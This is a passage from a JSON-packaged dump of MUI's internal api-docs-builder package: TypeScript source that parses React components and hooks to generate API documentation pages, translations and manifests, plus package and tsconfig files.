});\n\n  (reactApi.returnValue ?? []).forEach(({ name: propName, description }) => {\n    if (description) {\n      translations.returnValueDescriptions[propName] = {\n        description: generateTranslationDescription(description),\n      };\n      const deprecation = (description || '').match(/@deprecated(\\s+(?<info>.*))?/);\n      if (deprecation !== null) {\n        translations.parametersDescriptions[propName].deprecated =\n          renderMarkdown(deprecation?.groups?.info || '').trim() || undefined;\n      }\n    }\n  });\n\n  reactApi.translations = translations;\n};\n\nconst generateApiJson = async (outputDirectory: string, reactApi: HookReactApi) => {\n  /**\n   * Gather the metadata needed for the component's API page.\n   */\n  const pageContent: HookApiContent = {\n    // Sorted by required DESC, name ASC\n    parameters: Object.fromEntries(\n      Object.entries(reactApi.parametersTable).sort(([aName, aData], [bName, bData]) => {\n        if ((aData.required && bData.required) || (!aData.required && !bData.required)) {\n          return aName.localeCompare(bName);\n        }\n        if (aData.required) {\n          return -1;\n        }\n        return 1;\n      }),\n    ),\n    returnValue: Object.fromEntries(\n      Object.entries(reactApi.returnValueTable).sort(([aName, aData], [bName, bData]) => {\n        if ((aData.required && bData.required) || (!aData.required && !bData.required)) {\n          return aName.localeCompare(bName);\n        }\n        if (aData.required) {\n          return -1;\n        }\n        return 1;\n      }),\n    ),\n    name: reactApi.name,\n    filename: toGitHubPath(reactApi.filename),\n    imports: reactApi.imports,\n    demos: `<ul>${reactApi.demos\n      .map((item) => `<li><a href=\"${item.demoPathname}\">${item.demoPageTitle}</a></li>`)\n      .join('\\n')}</ul>`,\n    deprecated: reactApi.deprecated,\n  };\n\n  await writePrettifiedFile(\n    path.resolve(outputDirectory, `${kebabCase(reactApi.name)}.json`),\n    JSON.stringify(pageContent),\n  );\n};\n\n/**\n * Helper to get the import options\n * @param name The name of the hook\n * @param filename The filename where its defined (to infer the package)\n * @returns an array of import command\n */\nconst defaultGetHookImports = (name: string, filename: string) => {\n  const githubPath = toGitHubPath(filename);\n  const rootImportPath = githubPath.replace(\n    /\\/packages\\/mui(?:-(.+?))?\\/src\\/.*/,\n    (match, pkg) => `@mui/${pkg}`,\n  );\n\n  const subdirectoryImportPath = githubPath.replace(\n    /\\/packages\\/mui(?:-(.+?))?\\/src\\/([^\\\\/]+)\\/.*/,\n    (match, pkg, directory) => `@mui/${pkg}/${directory}`,\n  );\n\n  let namedImportName = name;\n  const defaultImportName = name;\n\n  if (/unstable_/.test(githubPath)) {\n    namedImportName = `unstable_${name} as ${name}`;\n  }\n\n  const useNamedImports = rootImportPath === '@mui/base';\n\n  const subpathImport = useNamedImports\n    ? `import { ${namedImportName} } from '${subdirectoryImportPath}';`\n    : `import ${defaultImportName} from '${subdirectoryImportPath}';`;\n\n  const rootImport = `import { ${namedImportName} } from '${rootImportPath}';`;\n\n  return [subpathImport, rootImport];\n};\n\nexport default async function generateHookApi(\n  hooksInfo: HookInfo,\n  project: TypeScriptProject,\n  projectSettings: ProjectSettings,\n) {\n  const {\n    filename,\n    name,\n    apiPathname,\n    apiPagesDirectory,\n    getDemos,\n    readFile,\n    skipApiGeneration,\n    customAnnotation,\n  } = hooksInfo;\n\n  const { shouldSkip, EOL, src } = readFile();\n\n  if (shouldSkip) {\n    return null;\n  }\n\n  const results = docgenParse(src, {\n    resolver: {\n      resolve(file) {\n        const foundPaths: any[] = [];\n        file.traverse({\n          FunctionDeclaration(funcPath) {\n            if (funcPath.node.id?.name === name) {\n              foundPaths.push(funcPath);\n            }\n          },\n        });\n        return foundPaths;\n      },\n    },\n    handlers: defaultHandlers,\n    filename,\n  });\n  const reactApi: HookReactApi = results[0] as HookReactApi;\n\n  const parameters = await extractInfoFromType(`${upperFirst(name)}Parameters`, project);\n  const returnValue = await extractInfoFromType(`${upperFirst(name)}ReturnValue`, project);\n  const hookJsdoc = parseDoctrine(reactApi.description);\n\n  // We override `reactApi.description` with `hookJsdoc.description` because\n  // the former can include JSDoc tags that we don't want to render in the docs.\n  reactApi.description = hookJsdoc.description;\n\n  // Ignore what we might have generated in `annotateComponentDefinition`\n  let annotationBoundary: RegExp = /(Demos|API):\\r?\\n\\r?\\n/;\n  if (customAnnotation) {\n    annotationBoundary = new RegExp(escapeRegExp(customAnnotation.trim().split('\\n')[0].trim()));\n  }\n  const annotatedDescriptionMatch = reactApi.description.match(new RegExp(annotationBoundary));\n  if (annotatedDescriptionMatch !== null) {\n    reactApi.description = reactApi.description.slice(0, annotatedDescriptionMatch.index).trim();\n  }\n\n  const { getHookImports = defaultGetHookImports, translationPagesDirectory } = projectSettings;\n  reactApi.filename = filename;\n  reactApi.name = name;\n  reactApi.imports = getHookImports(name, filename);\n  reactApi.apiPathname = apiPathname;\n  reactApi.EOL = EOL;\n  reactApi.demos = getDemos();\n  reactApi.customAnnotation = customAnnotation;\n  if (reactApi.demos.length === 0) {\n    // TODO: Enable this error once all public hooks are documented\n    // throw new Error(\n    //   'Unable to find demos. \\n' +\n    //     `Be sure to include \\`hooks: ${reactApi.name}\\` in the markdown pages where the \\`${reactApi.name}\\` hook is relevant. ` +\n    //     'Every public hook should have a demo. ',\n    // );\n  }\n\n  attachTable(reactApi, parameters, 'parametersTable');\n  reactApi.parameters = parameters;\n\n  attachTable(reactApi, returnValue, 'returnValueTable');\n  reactApi.returnValue = returnValue;\n\n  const deprecation = hookJsdoc.tags.find((tag) => tag.title === 'deprecated');\n  const deprecationInfo = deprecation?.description || undefined;\n\n  reactApi.deprecated = !!deprecation || undefined;\n\n  attachTranslations(reactApi, deprecationInfo);\n\n  // eslint-disable-next-line no-console\n  console.log('Built API docs for', reactApi.name);\n\n  if (!skipApiGeneration) {\n    // Generate pages, json and translations\n    await generateApiTranslations(\n      path.join(process.cwd(), translationPagesDirectory),\n      reactApi,\n      projectSettings.translationLanguages,\n    );\n    await generateApiJson(apiPagesDirectory, reactApi);\n\n    // Add comment about demo & api links to the component hook file\n    await annotateHookDefinition(reactApi, hookJsdoc, projectSettings);\n  }\n\n  return reactApi;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/ProjectSettings.ts",
    "content": "import { CreateTypeScriptProjectOptions } from './utils/createTypeScriptProject';\nimport { CreateDescribeablePropSettings } from './utils/createDescribeableProp';\nimport {\n  ComponentClassDefinition,\n  ComponentReactApi,\n  HookReactApi,\n} from './types/ApiBuilder.types';\nimport { Slot, ComponentInfo, HookInfo } from './types/utils.types';\n\nexport type SortingStrategiesType = {\n  /**\n   * Sort slots items. Setting it to `null` keeps the order defined in the source code.\n   * @default alphabetical order.\n   */\n  classesSort?: null | ((a: ComponentClassDefinition, b: ComponentClassDefinition) => number);\n  /**\n   * Sort slots items. Setting null result in no sorting (respect the order provided by TS).\n   * @default required props first and alphabetical order otherwise.\n   */\n  slotsSort?: null | ((a: Slot, b: Slot) => number);\n};\n\nexport interface ProjectSettings {\n  output: {\n    /**\n     * The output path of `pagesApi` generated from `input.pageDirectory`\n     */\n    apiManifestPath: string;\n    /**\n     * Determine if the API manifest file is created.\n     * @default true\n     */\n    writeApiManifest?: boolean;\n  };\n  /**\n   * Component directories to be used to generate API\n   */\n  typeScriptProjects: CreateTypeScriptProjectOptions[];\n  getApiPages: () => Array<{ pathname: string }>;\n  getComponentInfo: (filename: string) => ComponentInfo;\n  getHookInfo?: (filename: string) => HookInfo;\n  /**\n   * Allows to force sorting strategies for listed properties.\n   */\n  sortingStrategies?: SortingStrategiesType;\n  /**\n   * Callback function to be called when the API generation is completed\n   */\n  onCompleted?: () => void | Promise<void>;\n  /**\n   * Callback to customize the manifest file before it's written to the disk\n   */\n  onWritingManifestFile?: (\n    builds: PromiseSettledResult<ComponentReactApi | HookReactApi | null | never[]>[],\n    source: string,\n  ) => string;\n  /**\n   * Languages to which the API docs will be generated\n   */\n  translationLanguages: string[];\n  /**\n   * Function called to determine whether to skip the generation of a particular component's API docs\n   */\n  skipComponent: (filename: string) => boolean;\n  /**\n   * Function called to determine whether to skip the generation of a particular hook's API docs\n   */\n  skipHook?: (filename: string) => boolean;\n  /**\n   * Determine is the component definition should be updated.\n   */\n  skipAnnotatingComponentDefinition?: boolean | ((filename: string) => boolean);\n  /**\n   * If `true`, skips extracting CSS class and slot information from the component.\n   */\n  skipSlotsAndClasses?: boolean;\n  /**\n   * The path to the translation directory.\n   */\n  translationPagesDirectory: string;\n  /**\n   * The path to import the translation directory.\n   * @default the `translationPagesDirectory` value\n   */\n  importTranslationPagesDirectory?: string;\n  /**\n   * Returns an array of import commands used for the component API page header.\n   */\n  getComponentImports?: (name: string, filename: string) => string[];\n  /**\n   * Returns an array of import commands used for the hook API page header.\n   */\n  getHookImports?: (name: string, filename: string) => string[];\n  /**\n   * Settings to configure props definition tests.\n   */\n  propsSettings?: CreateDescribeablePropSettings;\n  /**\n   * If `true`, the script does not generate JS page file.\n   * Once we have the API tabs in all projects, we can make this `true` by default.\n   * @default false\n   */\n  generateJsonFileOnly?: boolean;\n  /**\n   * Function called to generate the class name for a component (or its slot)\n   */\n  generateClassName: (componentName: string, slotOrState: string) => string;\n  /**\n   * Determines if a given slot or state is a global state\n   */\n  isGlobalClassName: (slotOrState: string) => boolean;\n  /**\n   * Determines the base API URL for generated JSDocs\n   */\n  baseApiUrl?: string;\n  /**\n   * The path to the `pages.ts` manifest file for public markdown generation.\n   */\n  pagesManifestPath?: string;\n  /**\n   * Determines the non-component folders for ordering in the llms.txt file.\n   * The folders are relative to the `docs/data` directory.\n   */\n  nonComponentFolders?: string[];\n}\n"
  },
  {
    "path": "packages/api-docs-builder/buildApi.ts",
    "content": "import path from 'path';\nimport fs from 'node:fs/promises';\nimport { renderMarkdown as _renderMarkdown } from '@mui/internal-markdown';\nimport findComponents from './utils/findComponents';\nimport findHooks from './utils/findHooks';\nimport { writePrettifiedFile } from './buildApiUtils';\nimport generateComponentApi from './ApiBuilders/ComponentApiBuilder';\nimport generateHookApi from './ApiBuilders/HookApiBuilder';\nimport {\n  CreateTypeScriptProjectOptions,\n  TypeScriptProjectBuilder,\n  createTypeScriptProjectBuilder,\n} from './utils/createTypeScriptProject';\nimport { ProjectSettings } from './ProjectSettings';\nimport { ComponentReactApi } from './types/ApiBuilder.types';\nimport _escapeCell from './utils/escapeCell';\nimport _escapeEntities from './utils/escapeEntities';\n\nasync function removeOutdatedApiDocsTranslations(\n  components: readonly ComponentReactApi[],\n  apiDocsTranslationsDirectories: string[],\n): Promise<void> {\n  const componentDirectories = new Set<string>();\n  const projectFiles = await Promise.all(\n    apiDocsTranslationsDirectories.map(async (directory) => ({\n      directory: path.resolve(directory),\n      files: await fs.readdir(directory),\n    })),\n  );\n\n  await Promise.all(\n    projectFiles.map(async ({ directory, files }) => {\n      await Promise.all(\n        files.map(async (filename) => {\n          const filepath = path.join(directory, filename);\n          const stats = await fs.stat(filepath);\n          if (stats.isDirectory()) {\n            componentDirectories.add(filepath);\n          }\n        }),\n      );\n    }),\n  );\n\n  const currentComponentDirectories = new Set(\n    components\n      .map((component) => {\n        if (component.apiDocsTranslationFolder) {\n          return path.resolve(component.apiDocsTranslationFolder);\n        }\n        console.warn(`Component ${component.name} did not generate an API translation file.`);\n        return null;\n      })\n      .filter((filename): filename is string => filename !== null),\n  );\n\n  const outdatedComponentDirectories = new Set(componentDirectories);\n  currentComponentDirectories.forEach((componentDirectory) => {\n    outdatedComponentDirectories.delete(componentDirectory);\n  });\n\n  await Promise.all(\n    Array.from(outdatedComponentDirectories, (outdatedComponentDirectory) =>\n      fs.rm(outdatedComponentDirectory, { recursive: true, force: true }),\n    ),\n  );\n}\n\nlet rawDescriptionsCurrent = false;\n\nexport async function buildApi(\n  projectsSettings: ProjectSettings[],\n  grep: RegExp | null = null,\n  rawDescriptions = false,\n) {\n  rawDescriptionsCurrent = rawDescriptions;\n  const allTypeScriptProjects = projectsSettings\n    .flatMap((setting) => setting.typeScriptProjects)\n    .reduce(\n      (acc, project) => {\n        acc[project.name] = project;\n        return acc;\n      },\n      {} as Record<string, CreateTypeScriptProjectOptions>,\n    );\n\n  const buildTypeScriptProject = createTypeScriptProjectBuilder(allTypeScriptProjects);\n\n  let allBuilds: Array<PromiseSettledResult<ComponentReactApi | null | never[]>> = [];\n  for (let i = 0; i < projectsSettings.length; i += 1) {\n    const setting = projectsSettings[i];\n    // eslint-disable-next-line no-await-in-loop\n    const projectBuilds = await buildSingleProject(setting, buildTypeScriptProject, grep);\n\n    // @ts-ignore ignore hooks builds for now\n    allBuilds = [...allBuilds, ...projectBuilds];\n  }\n\n  if (grep === null) {\n    const componentApis = allBuilds\n      .filter((build): build is PromiseFulfilledResult<ComponentReactApi> => {\n        return build.status === 'fulfilled' && build.value !== null && !Array.isArray(build.value);\n      })\n      .map((build) => {\n        return build.value;\n      });\n\n    const apiTranslationFolders = projectsSettings.map(\n      (setting) => setting.translationPagesDirectory,\n    );\n    await removeOutdatedApiDocsTranslations(componentApis, apiTranslationFolders);\n  }\n}\n\nasync function buildSingleProject(\n  projectSettings: ProjectSettings,\n  buildTypeScriptProject: TypeScriptProjectBuilder,\n  grep: RegExp | null,\n) {\n  const tsProjects = projectSettings.typeScriptProjects.map((project) =>\n    buildTypeScriptProject(project.name),\n  );\n\n  const { apiManifestPath: apiPagesManifestPath, writeApiManifest = true } = projectSettings.output;\n\n  const manifestDir = apiPagesManifestPath.match(/(.*)\\/[^/]+\\./)?.[1];\n  if (manifestDir) {\n    await fs.mkdir(manifestDir, { recursive: true });\n  }\n  const apiBuilds = tsProjects.flatMap((project) => {\n    const projectComponents = findComponents(path.join(project.rootPath, 'src')).filter(\n      (component) => {\n        if (projectSettings.skipComponent(component.filename)) {\n          return false;\n        }\n\n        if (grep === null) {\n          return true;\n        }\n\n        return grep.test(component.filename);\n      },\n    );\n\n    const projectHooks = findHooks(path.join(project.rootPath, 'src')).filter((hook) => {\n      if (projectSettings.skipHook?.(hook.filename)) {\n        return false;\n      }\n      if (grep === null) {\n        return true;\n      }\n      return grep.test(hook.filename);\n    });\n\n    const componentsBuilds = projectComponents.map(async (component) => {\n      try {\n        const componentInfo = projectSettings.getComponentInfo(component.filename);\n\n        await fs.mkdir(componentInfo.apiPagesDirectory, { mode: 0o777, recursive: true });\n\n        return await generateComponentApi(componentInfo, project, projectSettings);\n      } catch (error: any) {\n        error.message = `${path.relative(process.cwd(), component.filename)}: ${error.message}`;\n        throw error;\n      }\n    });\n\n    const hooksBuilds = projectHooks.map(async (hook) => {\n      if (!projectSettings.getHookInfo) {\n        return [];\n      }\n      try {\n        const { filename } = hook;\n        const hookInfo = projectSettings.getHookInfo(filename);\n\n        await fs.mkdir(hookInfo.apiPagesDirectory, { mode: 0o777, recursive: true });\n        return generateHookApi(hookInfo, project, projectSettings);\n      } catch (error: any) {\n        error.message = `${path.relative(process.cwd(), hook.filename)}: ${error.message}`;\n        throw error;\n      }\n    });\n\n    return [...componentsBuilds, ...hooksBuilds];\n  });\n\n  const builds = await Promise.allSettled(apiBuilds);\n\n  const fails = builds.filter(\n    (promise): promise is PromiseRejectedResult => promise.status === 'rejected',\n  );\n\n  fails.forEach((build) => {\n    console.error(build.reason);\n  });\n\n  if (fails.length > 0) {\n    process.exit(1);\n  }\n\n  if (writeApiManifest) {\n    let source = `export default ${JSON.stringify(projectSettings.getApiPages())}`;\n    if (projectSettings.onWritingManifestFile) {\n      source = projectSettings.onWritingManifestFile(builds, source);\n    }\n\n    await writePrettifiedFile(apiPagesManifestPath, source);\n  }\n\n  await projectSettings.onCompleted?.();\n  return builds;\n}\n\nexport function renderMarkdown(markdown: string) {\n  return rawDescriptionsCurrent ? markdown : _renderMarkdown(markdown);\n}\nexport function renderCodeTags(value: string) {\n  return rawDescriptionsCurrent ? value : value.replace(/`(.*?)`/g, '<code>$1</code>');\n}\nexport function escapeEntities(value: string) {\n  return rawDescriptionsCurrent ? value : _escapeEntities(value);\n}\nexport function escapeCell(value: string) {\n  return rawDescriptionsCurrent ? value : _escapeCell(value);\n}\nexport function removeNewLines(value: string) {\n  return rawDescriptionsCurrent ? value : value.replace(/\\r*\\n/g, ' ');\n}\nexport function joinUnionTypes(value: string[]) {\n  // Use unopinionated formatting for raw descriptions\n  return rawDescriptionsCurrent ? value.join(' | ') : value.join('<br>&#124;&nbsp;');\n}\n"
  },
  {
    "path": "packages/api-docs-builder/buildApiUtils.test.ts",
    "content": "import sinon from 'sinon';\nimport { extractPackageFile } from './buildApiUtils';\n\ndescribe('buildApiUtils', () => {\n  describe('extractPackageFilePath', () => {\n    it('return info if path is a package (material)', () => {\n      const result = extractPackageFile('/material-ui/packages/mui-material/src/Button/Button.js');\n      sinon.assert.match(result, {\n        packagePath: 'mui-material',\n        muiPackage: 'mui-material',\n        name: 'Button',\n      });\n    });\n\n    it('return info if path is a package (lab)', () => {\n      const result = extractPackageFile(\n        '/material-ui/packages/mui-lab/src/LoadingButton/LoadingButton.js',\n      );\n      sinon.assert.match(result, {\n        packagePath: 'mui-lab',\n        muiPackage: 'mui-lab',\n        name: 'LoadingButton',\n      });\n    });\n\n    it('return info if path is a package (data-grid)', () => {\n      const result = extractPackageFile('/material-ui/packages/grid/x-data-grid/src/DataGrid.tsx');\n      sinon.assert.match(result, {\n        packagePath: 'x-data-grid',\n        muiPackage: 'mui-data-grid',\n        name: 'DataGrid',\n      });\n    });\n\n    it('return info if path is a package (data-grid-pro)', () => {\n      const result = extractPackageFile(\n        '/material-ui/packages/grid/x-data-grid-pro/src/DataGridPro.tsx',\n      );\n      sinon.assert.match(result, {\n        packagePath: 'x-data-grid-pro',\n        muiPackage: 'mui-data-grid-pro',\n        name: 'DataGridPro',\n      });\n    });\n\n    it('return null if path is not a package', () => {\n      const result = extractPackageFile(\n        '/material-ui/docs/pages/material/getting-started/getting-started.md',\n      );\n      sinon.assert.match(result, {\n        packagePath: null,\n        name: null,\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/api-docs-builder/buildApiUtils.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport * as ts from 'typescript';\nimport * as prettier from 'prettier';\nimport { kebabCase } from 'es-toolkit/string';\nimport { getLineFeed } from '@mui/internal-docs-utils';\nimport { replaceComponentLinks } from './utils/replaceUrl';\nimport { TypeScriptProject } from './utils/createTypeScriptProject';\n\nexport type { ComponentInfo, HookInfo } from './types/utils.types';\n\n/**\n * TODO: this should really be fixed in findPagesMarkdown().\n * Plus replaceComponentLinks() shouldn't exist in the first place,\n * the markdown folder location should match the URLs.\n */\nexport function fixPathname(pathname: string): string {\n  let fixedPathname;\n\n  if (pathname.startsWith('/material')) {\n    fixedPathname = replaceComponentLinks(`${pathname.replace(/^\\/material/, '')}/`);\n  } else if (pathname.startsWith('/joy')) {\n    fixedPathname = replaceComponentLinks(`${pathname.replace(/^\\/joy/, '')}/`).replace(\n      'material-ui',\n      'joy-ui',\n    );\n  } else if (pathname.startsWith('/base')) {\n    fixedPathname = `${pathname\n      .replace('/base/', '/base-ui/')\n      .replace('/components/', '/react-')}/`;\n  } else {\n    fixedPathname = `${pathname.replace('/components/', '/react-')}/`;\n  }\n\n  return fixedPathname;\n}\n\nconst DEFAULT_PRETTIER_CONFIG_PATH = path.join(process.cwd(), 'prettier.config.mjs');\n\nexport async function writePrettifiedFile(\n  filename: string,\n  data: string,\n  prettierConfigPath: string = DEFAULT_PRETTIER_CONFIG_PATH,\n  options: object = {},\n) {\n  const prettierConfig = await prettier.resolveConfig(filename, {\n    config: prettierConfigPath,\n  });\n  if (prettierConfig === null) {\n    throw new Error(\n      `Could not resolve config for '${filename}' using prettier config path '${prettierConfigPath}'.`,\n    );\n  }\n\n  const formatted = await prettier.format(data, { ...prettierConfig, filepath: filename });\n  fs.writeFileSync(filename, formatted, {\n    encoding: 'utf8',\n    ...options,\n  });\n}\n\nlet systemComponents: string[] | undefined;\n// making the resolution lazy to avoid issues when importing something irrelevant from this file (i.e. `getSymbolDescription`)\n// the eager resolution results in errors when consuming externally (i.e. `mui-x`)\nexport function getSystemComponents() {\n  if (!systemComponents) {\n    systemComponents = fs\n      .readdirSync(path.resolve('packages', 'mui-system', 'src'))\n      // Normalization, the Unstable_ prefix doesn't count.\n      .map((pathname) => pathname.replace('Unstable_', ''))\n      .filter((pathname) => pathname.match(/^[A-Z][a-zA-Z]+$/));\n  }\n  return systemComponents;\n}\n\nexport function getMuiName(name: string) {\n  return `Mui${name.replace('Styled', '')}`;\n}\n\nexport function extractPackageFile(filePath: string) {\n  filePath = filePath.replace(new RegExp(`\\\\${path.sep}`, 'g'), '/');\n  const match = filePath.match(\n    /.*\\/packages.*\\/(?<packagePath>[^/]+)\\/src\\/(.*\\/)?(?<name>[^/]+)\\.(js|tsx|ts|d\\.ts)/,\n  );\n  const result = {\n    packagePath: match ? match.groups?.packagePath : null,\n    name: match ? match.groups?.name : null,\n  };\n  return {\n    ...result,\n    muiPackage: result.packagePath?.replace('x-', 'mui-'),\n  };\n}\n\nexport function parseFile(filename: string) {\n  const src = fs.readFileSync(filename, 'utf8');\n  return {\n    src,\n    shouldSkip:\n      filename.includes('internal') ||\n      !!src.match(/@ignore - internal component\\./) ||\n      !!src.match(/@ignore - internal hook\\./) ||\n      !!src.match(/@ignore - do not document\\./),\n    spread: !src.match(/ = exactProp\\(/),\n    EOL: getLineFeed(src),\n    inheritedComponent: src.match(/\\/\\/ @inheritedComponent (.*)/)?.[1],\n  };\n}\n\nexport function getApiPath(\n  demos: Array<{ demoPageTitle: string; demoPathname: string }>,\n  name: string,\n) {\n  let apiPath = null;\n\n  if (demos && demos.length > 0) {\n    // remove the hash from the demoPathname, for e.g. \"#hooks\"\n    const cleanedDemosPathname = demos[0].demoPathname.split('#')[0];\n    apiPath = `${cleanedDemosPathname}${\n      name.startsWith('use') ? 'hooks-api' : 'components-api'\n    }/#${kebabCase(name)}`;\n  }\n\n  return apiPath;\n}\n\nexport async function formatType(rawType: string) {\n  if (!rawType) {\n    return '';\n  }\n\n  const prefix = 'type FakeType = ';\n  const signatureWithTypeName = `${prefix}${rawType}`;\n\n  const prettifiedSignatureWithTypeName = await prettier.format(signatureWithTypeName, {\n    printWidth: 999,\n    singleQuote: true,\n    semi: false,\n    trailingComma: 'none',\n    parser: 'typescript',\n  });\n\n  return prettifiedSignatureWithTypeName.slice(prefix.length).replace(/\\n$/, '');\n}\n\nexport function getSymbolDescription(symbol: ts.Symbol, project: TypeScriptProject) {\n  return symbol\n    .getDocumentationComment(project.checker)\n    .flatMap((comment) => comment.text.split('\\n'))\n    .filter((line) => !line.startsWith('TODO'))\n    .join('\\n');\n}\n\nexport function getSymbolJSDocTags(symbol: ts.Symbol) {\n  return Object.fromEntries(symbol.getJsDocTags().map((tag) => [tag.name, tag]));\n}\n\nexport async function stringifySymbol(symbol: ts.Symbol, project: TypeScriptProject) {\n  let rawType: string;\n\n  const declaration = symbol.declarations?.[0];\n  if (declaration && ts.isPropertySignature(declaration)) {\n    rawType = declaration.type?.getText() ?? '';\n  } else {\n    rawType = project.checker.typeToString(\n      project.checker.getTypeOfSymbolAtLocation(symbol, symbol.valueDeclaration!),\n      symbol.valueDeclaration,\n      ts.TypeFormatFlags.NoTruncation,\n    );\n  }\n\n  return formatType(rawType);\n}\n\n/**\n * @param filepath - absolute path\n * @example toGitHubPath('/home/user/material-ui/packages/Accordion') === '/packages/Accordion'\n * @example toGitHubPath('C:\\\\Development\\\\material-ui\\\\packages\\\\Accordion') === '/packages/Accordion'\n */\nexport function toGitHubPath(filepath: string): string {\n  return `/${path.relative(process.cwd(), filepath).replace(/\\\\/g, '/')}`;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/index.ts",
    "content": "export { buildApi } from './buildApi';\nexport type { ProjectSettings } from './ProjectSettings';\nexport type {\n  ComponentReactApi,\n  ComponentApiContent,\n  HookReactApi,\n  PropsTableItem,\n  PropsTranslations,\n  HooksTranslations,\n  HookApiContent,\n  ComponentClassDefinition,\n} from './types/ApiBuilder.types';\nexport type { Slot, ComponentInfo } from './types/utils.types';\n"
  },
  {
    "path": "packages/api-docs-builder/package.json",
    "content": "{\n  \"name\": \"@mui-internal/api-docs-builder\",\n  \"version\": \"1.0.0\",\n  \"private\": \"true\",\n  \"main\": \"./index.ts\",\n  \"scripts\": {\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui-internal/api-docs-builder\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/api-docs-builder\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.29.0\",\n    \"@babel/preset-typescript\": \"^7.28.5\",\n    \"@babel/traverse\": \"^7.29.0\",\n    \"@babel/types\": \"^7.29.0\",\n    \"@mui/internal-docs-utils\": \"workspace:^\",\n    \"@mui/internal-markdown\": \"workspace:^\",\n    \"doctrine\": \"^3.0.0\",\n    \"es-toolkit\": \"^1.45.1\",\n    \"fast-glob\": \"^3.3.3\",\n    \"prettier\": \"^3.8.1\",\n    \"react-docgen\": \"^8.0.3\",\n    \"recast\": \"^0.23.11\",\n    \"remark\": \"^15.0.1\",\n    \"typescript\": \"^5.9.3\",\n    \"unist-util-visit\": \"^5.1.0\"\n  },\n  \"devDependencies\": {\n    \"@types/babel__core\": \"7.20.5\",\n    \"@types/babel__traverse\": \"7.28.0\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/doctrine\": \"0.0.9\",\n    \"@types/mdast\": \"4.0.4\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"sinon\": \"21.0.3\"\n  }\n}\n"
  },
  {
    "path": "packages/api-docs-builder/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowJs\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"noUnusedLocals\": false,\n    \"resolveJsonModule\": true,\n    \"skipLibCheck\": true,\n    \"esModuleInterop\": true,\n    \"types\": [\"node\", \"vitest/globals\"],\n    \"target\": \"ES2020\",\n    \"module\": \"nodenext\",\n    \"moduleResolution\": \"nodenext\",\n    \"strict\": true,\n    \"paths\": {\n      \"@mui/internal-docs-utils\": [\"../../packages-internal/docs-utils/src\"]\n    }\n  },\n  \"include\": [\"./**/*.ts\", \"./**/*.js\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "packages/api-docs-builder/types/ApiBuilder.types.ts",
    "content": "import type { Documentation } from 'react-docgen';\nimport { JSDocTagInfo } from 'typescript';\nimport { ComponentInfo, Slot, HookInfo, SeeMore, ApiItemDescription } from './utils.types';\n\nexport type AdditionalPropsInfo = {\n  cssApi?: boolean;\n  sx?: boolean;\n  slotsApi?: boolean;\n  'joy-size'?: boolean;\n  'joy-color'?: boolean;\n  'joy-variant'?: boolean;\n};\n\n/**\n * Common interface for both Component and Hook API builders.\n */\ninterface CommonReactApi extends Documentation {\n  demos: ReturnType<HookInfo['getDemos']>;\n  EOL: string;\n  filename: string;\n  apiPathname: string;\n  description: string;\n  /**\n   * Different ways to import components\n   */\n  imports: string[];\n  /**\n   * result of path.readFileSync from the `filename` in utf-8\n   */\n  src: string;\n  /**\n   * The folder used to store the API translation.\n   */\n  apiDocsTranslationFolder?: string;\n  deprecated: true | undefined;\n  customAnnotation?: string;\n}\n\nexport interface PropsTableItem {\n  default: string | undefined;\n  required: boolean | undefined;\n  type: { name: string; description: string | undefined };\n  deprecated: true | undefined;\n  deprecationInfo: string | undefined;\n  signature: undefined | { type: string; describedArgs?: string[]; returned?: string };\n  additionalInfo?: AdditionalPropsInfo;\n  seeMoreLink?: SeeMore['link'];\n}\n\nexport interface PropsTranslations {\n  componentDescription: string;\n  deprecationInfo: string | undefined;\n  propDescriptions: {\n    [key: string]: PropDescription;\n  };\n  classDescriptions: {\n    [key: string]: ClassDescription;\n  };\n  slotDescriptions?: { [key: string]: string };\n  cssVariablesDescriptions?: { [key: string]: string };\n  dataAttributesDescriptions?: { [key: string]: string };\n}\n\nexport interface TypeDescription {\n  name: string;\n  description: string;\n  argType?: string;\n  argTypeDescription?: string;\n}\n\nexport interface TypeDescriptions {\n  [t: string]: TypeDescription;\n}\n\ninterface PropDescription {\n  description: string;\n  requiresRef?: boolean;\n  deprecated?: string;\n  typeDescriptions?: { [t: string]: TypeDescription };\n  seeMoreText?: string;\n}\n\ninterface ClassDescription {\n  description: string;\n  conditions?: string;\n  nodeName?: string;\n  deprecationInfo?: string;\n}\n\nexport interface ComponentReactApi extends CommonReactApi {\n  forwardsRefTo: string | undefined;\n  inheritance: ReturnType<ComponentInfo['getInheritance']>;\n  /**\n   * react component name\n   * @example 'Accordion'\n   */\n  name: string;\n  muiName: string;\n  spread: boolean | undefined;\n  /**\n   * If `true`, the component supports theme default props customization.\n   * If `null`, we couldn't infer this information.\n   * If `undefined`, it's not applicable in this context, for example Base UI components.\n   */\n  themeDefaultProps: boolean | undefined | null;\n  classes: ComponentClassDefinition[];\n  slots: Slot[];\n  cssVariables: { [key: string]: ApiItemDescription };\n  dataAttributes: { [key: string]: ApiItemDescription };\n  propsTable: { [key: string]: PropsTableItem };\n  translations: PropsTranslations;\n}\n\nexport interface ComponentApiContent {\n  props: { [name: string]: PropsTableItem };\n  name: string;\n  imports: string[];\n  slots?: Slot[];\n  cssVariables?: { [key: string]: ApiItemDescription };\n  dataAttributes?: { [key: string]: ApiItemDescription };\n  classes: ComponentClassDefinition[];\n  spread: boolean | undefined;\n  themeDefaultProps: boolean | null | undefined;\n  muiName: string;\n  forwardsRefTo: string | undefined;\n  filename: string;\n  inheritance: null | { component: string; pathname: string };\n  demos: string;\n  cssComponent: boolean;\n  deprecated: true | undefined;\n}\n\nexport interface ParsedProperty {\n  name: string;\n  description: string;\n  tags: { [tagName: string]: JSDocTagInfo };\n  required: 